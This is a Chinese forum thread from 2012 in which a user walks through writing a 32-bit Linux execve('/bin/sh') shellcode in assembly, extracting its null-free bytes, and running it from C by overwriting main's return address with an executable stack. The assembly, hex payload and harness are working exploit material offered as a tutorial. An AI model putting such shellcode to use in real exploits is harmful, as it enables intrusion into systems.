注册 登录
编程论坛 Linux系统管理

在linux下用汇编写execve(),抽出machine code,写入.c 文件中, spawn a shell,尽量写的詳細了

madfrogme 发布于 2012-07-29 12:09, 1339 次点击
写这个一是给别人看,二也是帮助自己理清思路,欢迎吐槽
这是在32位机器下的代码,不是64位

用汇编写linux中的系统调用execve()之前应该man execve一下

说明一下寄存器的使用

int execve(const char *filename, char *const argv[],  char *const envp[]);

1execve 的system call number  11放在 eax中

2filename 的地址放在 ebx中

3 argv 指向的地址放在ecx中

4 envp 指向null地址 ,放在edx中

我的机器上的系统号是在

/usr/include/asm/unistd_32.h

在C中怎样调用execve()
程序代码:

#include <unistd.h>
int main(int argc, char *argv[]){

    char *shell[2];

    shell[0] = "/bin/sh";

    shell[1] = NULL;

    execve(shell[0],shell,NULL);

    return 0;
}


下面则是intel的語法写execve(),文件execve.asm

程序代码:

section .text
    global    _start
_start:
    jmp short    callit          #  'short'不要少了,否则会出现多余的null,跳到callit

shellcode:
    pop                esi    # pop出stack中的字符串地址放入esi中,因为现在开始需要使用了

    xor                eax, eax # 这是很保险的将eax设为0的方法

    mov byte       [esi+7], al # 字符X只是一个place holder,前面已经把eax清0了所以现在使用   
eax最低位的al,把这一个字节的null放在X位置,这句是为下一句做准备

    lea                  ebx, [esi] #这时再把esi(字符串的地址)放入ebx中,这是为execve()的第一个参数做准备

    mov long       [esi+8], ebx #这句最难理解,先看上面C语言版本, 这是为第二个 参数做准
备,esi+8就是AAAA这4个字节的地址。4个字节是32位,我现在要把ebx(里面是字符串的地址)放到AAAA中去,所以说AAAA 也只是一个place holder,为了存放一个32位的地址

    mov long        [esi+12],eax # 这是为第三个参数做准备,将一个32位的null放入place holder的BBBB中

    mov  byte       al,0x0b # 好了,现在把execve()的系统调用号11号放入eax的最下位的al中

    mov                ebx, esi # 现在是第一个参数,字符串的位置放入ebx

    lea                   ecx, [esi+8] # 第二个参数,要点是这个参数类型是char **, 如果/bin/sh有其它参数的话,整个程序写法就又不一样了

    lea                   edx, [esi+12] #  最后是null的地址,注意,是null的地址,不是null,因为写这是为了shellcode做准备,shellcode中不可以有null

    int                   0x80 

callit:
    call                shellcode

    db                  '/bin/shXAAAABBBB' #把字符串放在这里是为了call shellcode的时候把字符串地址push到stack中


总体说来就是我们准备好各个参数,把它们放到一个字符串里,要用的时候来取就可以了

到现在为止,第一个难关已经攻破,接下来一步是把上面的汇编转为机器码
程序代码:

$ nasm -f elf execve.asm
$ ld -o execve execve.o
$ objdump -d execve

程序代码:

execve:     file format elf32-i386
Disassembly of section .text:
08048060 <_start>:
 8048060:    eb 1a                    jmp    804807c <callit>

08048062 <shellcode>:
 8048062:    5e                               pop    %esi
 8048063:    31 c0                    xor    %eax,%eax
 8048065:    88 46 07                 mov    %al,0x7(%esi)
 8048068:    8d 1e                    lea    (%esi),%ebx
 804806a:    89 5e 08                 mov    %ebx,0x8(%esi)
 804806d:    89 46 0c                 mov    %eax,0xc(%esi)
 8048070:    b0 0b                    mov    $0xb,%al
 8048072:    89 f3                    mov    %esi,%ebx
 8048074:    8d 4e 08                 lea    0x8(%esi),%ecx
 8048077:    8d 56 0c                 lea    0xc(%esi),%edx
 804807a:    cd 80                    int    $0x80

0804807c <callit>:
 804807c:    e8 e1 ff ff ff           call   8048062 <shellcode>
 8048081:    2f                               das   
 8048082:    62 69 6e                   bound  %ebp,0x6e(%ecx)
 8048085:    2f                               das   
 8048086:    73 68                        jae    80480f0 <callit+0x74>
 8048088:    58                               pop    %eax
 8048089:    41                           inc    %ecx
 804808a:    41                               inc    %ecx
 804808b:    41                           inc    %ecx
 804808c:    41                               inc    %ecx
 804808d:    42                           inc    %edx
 804808e:    42                               inc    %edx
 804808f:        42                            inc    %edx
 8048090:    42                               inc    %edx

上面几步都是例行公事,这时会发现机器码中没有null

最后是在C文件中执行这块机器码. shell.c
程序代码:

#include <stdio.h>
char shellcode[] = "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58\x41\x41\x41\x41\x4b\x4b\x4b\x4b";
int main(void) {
    int *ret;
    ret = (int *)&ret + 2;
    (*ret) = (int)shellcode;
}

int *ret : 在stack上定义了一个指针,它正好在main 函数参数的下方

ret = (int *)&ret + 2; : 我们取ret的地址(int *), 并且这个地址是32位的,再加2的话就表示加了64位,

(为什么是加2,这里是有假设的,假设这是一个x86的32位机器) 最后ret里面的地址是main函数结束时

的返回地址,我们要改定的就是这个返回地址,一般来说main()结束之后则跳回返回地址, 但是

我们把返回地址改写成了shellcode的地址,就是为了main结束时执行shellcode 代码。通过下面这句话

(*ret) = (int)shellcode;

也许对照着下面的图就能明白了吧,local variable (ret)上面的8字节处就是return address,我们改写的就是这个地址
+-------------------------+
|  function arguments     |                                           |
|  (e.g. argv, argc)           |                                           |  (假设stack是向下发展的,从高到低)
+-------------------------+   <-- ss:esp + 12              |  
|  return address              |                                           |
+-------------------------+   <-- ss:esp + 8               V
|  saved ebp register        |                       
+-------------------------+   <-- ss:esp + 4  /  ss:ebp - 0  
|  local variable (ret)       |                       
+-------------------------+   <-- ss:esp + 0  /  ss:ebp - 4

明白esp和ebp之间的关系很重要

最后的最后,编译, 表相信网上说的 gcc -o shell shell.c 神马的,都是骗人的

你需要做的是加上 gcc 的-z execstack 选项

$ gcc  -z execstack -o shell shell.c
$ ./shell

当你成功后就可以把shellcode中最后9个

"\x58\x41\x41\x41\x41\x4b\x4b\x4b\x4b"

place holder 拿掉了

也许能有帮助的一些连接

http://www.

http://www.

[ 本帖最后由 madfrogme 于 2012-7-29 13:20 编辑 ]
4 回复
#2
pangding2012-07-29 14:29
你就研究研究怎么在汇编里调用就是了,虽然一般系统调用都是用 c 语言来调用的,但确实所有的系统调用都可以在汇编里调用。
干嘛研究完了又来个导出机器码的 C 语言滥用版本?使得人们无法了解你的研究意图。
#3
madfrogme2012-07-29 16:33
回复 2楼 pangding
其实我喜欢搞这种东西主要是以前在backtrack上用过那款入侵测试软件metasploite,当时一直不明白exploite和payload是怎么一回事,后来才知道payload就是一串汇编写的机器码,于是就开始感兴趣了。我倒不是真想用汇编搞开发了,就是喜欢linux下的各种奇技淫巧了Σ( ̄。 ̄ノ)ノ

[ 本帖最后由 madfrogme 于 2012-7-29 18:15 编辑 ]
#4
信箱有效2012-07-29 16:56
奇淫技巧
#5
madfrogme2012-07-29 17:15
回复 4楼 信箱有效
看来信箱有效有同感呵
1